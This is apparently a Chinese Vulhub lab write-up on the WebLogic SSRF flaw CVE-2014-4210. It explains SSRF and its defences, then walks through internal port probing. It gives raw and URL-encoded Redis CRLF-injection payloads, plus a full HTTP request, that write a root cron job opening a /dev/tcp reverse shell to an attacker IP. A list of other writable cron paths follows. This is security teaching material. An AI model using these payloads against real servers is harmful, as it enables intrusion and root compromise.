[Vulhub]WeblogicSSRF漏洞(CVE-2014-4210)
0x00 预备知识
01 SSRF概念:
SSRF(服务端请求伪造),指的是攻击者在未能取得服务器所有权限时,利⽤服务器漏洞以服务器的⾝份发送⼀条构造好的请求给服务器所在内⽹。SSRF攻击通常针对外部⽹络⽆法直接访问的内部系统。
简单的说就是利⽤⼀个可发起⽹络请求的服务当作跳板来攻击其他服务
02 SSRF原理
SSRF的实质是利⽤存在缺陷的web应⽤作为代理攻击远程和本地的服务器。⼀般情况下, SSRF攻击的⽬标是外⽹⽆法访问的内部系统,⿊客可以利⽤SSRF漏洞获取内部系统的⼀些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连⽽与外⽹隔离的内部系统)。SSRF形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对⽬标地址做过滤与限制。
03 SSRF的挖掘
1. 通过URL地址分享⽹页内容
cve漏洞库
2. 转码服务
3. 在线翻译
4. 能够对外发起⽹络请求的地⽅,就可能存在SSRF漏洞。
04 SSRF攻击⽅式
攻击者想要访问主机B上的服务,但是由于存在防⽕墙或者主机B是属于内⽹主机等原因导致攻击者⽆法直接访问主机B。⽽服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从⽽获取主机B的⼀些信息。
05 SSRF的危害
1. 内外⽹的端⼝和服务扫描
2. 攻击运⾏在内⽹或本地的应⽤程序
3. 对内⽹web应⽤进⾏指纹识别,识别企业内部的资产信息
4. 攻击内⽹的web应⽤,主要是使⽤GET参数就可以实现的攻击(⽐如Struts2漏洞利⽤,SQL注⼊等)
5. 利⽤file协议读取本地敏感数据⽂件等
6. 请求⼤⽂件,始终保持连接Keep-Alive Always,造成拒绝服务
06 SSRF的防御
1. 正则匹配法(⽤@, ⽤dnslog, ⽤xip.io绕过)
2. 统⼀错误信息,避免⽤户可以根据错误信息来判断远程服务器的端⼝状态。
3. 限制请求的端⼝,⽐如80,443,8080,8090。
4. 过滤返回的信息,如果web应⽤是去获取某⼀种类型的⽂件。那么在把返回结果展⽰给⽤户之前先验证返回的信息是否符合标准。
5. ⿊名单内⽹ip
6. 禁⽤其他协议,允许http,https。可以防⽌类似于file:///,gopher://,ftp://等引起的问题。
0x01 漏洞描述
Weblogic中存在⼀个SSRF漏洞,利⽤该漏洞可以发送任意HTTP请求,进⽽攻击内⽹中redis、fastcgi等脆弱组件。
0x02 影响版本
weblogic 10.0.2
weblogic 10.3.6
0x03 靶场环境
0x04 漏洞分析
Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接⽅法是将 SearchPublicRegistries.jsp 直接删除就好了
0x05 漏洞复现
10.11.45.150:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+l ocation&btnSubmit=Search&operator=10.11.35.243
若 IP 不存在则为如下情况:
02 探测开放端⼝
通过错误的不同,可暴破出内⽹ IP 开放的端⼝。
0x06 注⼊HTTP头,利⽤Redis反弹shell
Weblogic 的 SSRF 有⼀个⽐较⼤的特点,其虽然是⼀个“GET”请求,但是我们可以通过传⼊%0a%0d来注⼊换⾏符,
⽽某些服务(如 redis)是通过换⾏符来分隔每条命令,也就说我们可以通过该 SSRF 攻击内⽹中的 redis 服务器。
⾸先,通过 ssrf 探测内⽹中的 redis 服务器,应为这个漏洞是⽤ docker 环境搭建的,所以 redis 服务器的内⽹即是
docker 的⽹段(docker 环境的⽹段⼀般是 172.*):
利⽤ SSRF 探测内⽹ redis 是否开放
发送三条重新分发命令,将 shell 脚本写⼊/etc/crontab,利⽤计划任务反弹shell:
set1"\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/10.11.34.231/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
转换成URL编码,注意,换⾏符是“\r\n”,也就是“%0D%0A”。:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.11.3 4.231%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20cront ab%0D%0Asave%0D%0A%0D%0Aaaa
将 url 编码后的字符串触发 SSRF 的域名,发送:
GET/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit= Search&operator=172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20 %3E%26%20%2Fdev%2Ftcp%2F10.11.34.231%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D% 0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host:10.11.45.150:7001
User-Agent: Mozilla/5.0 (Windows NT10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: publicinquiryurls=www-3.ibm/services/uddi/inquiryapi!IBM|www-3.ibm/services/uddi/v2beta/inquiryapi!IBM V2|i crosoft/inquire!Microsoft|hods/glue/inquire/uddi!XMethods|; JSESSIONID=BKRkg3JY7T2cpNLFtLNPD3DJvMy1TRrmXBFnYKz Jk6tXvnsY7vJS!1942797293
Upgrade-Insecure-Requests:1
成功反弹:
补充⼀下,可进⾏利⽤的cron有以下⼏个地⽅:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意⽂件写到该⽬录下,效果和crontab相同,格式也和/etc/crontab相同。 。
/var/spool/cron/root centos系统下root⽤户的cron⽂件
/var/spool/cron/crontabs/root debian系统下root⽤户的cron⽂件

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。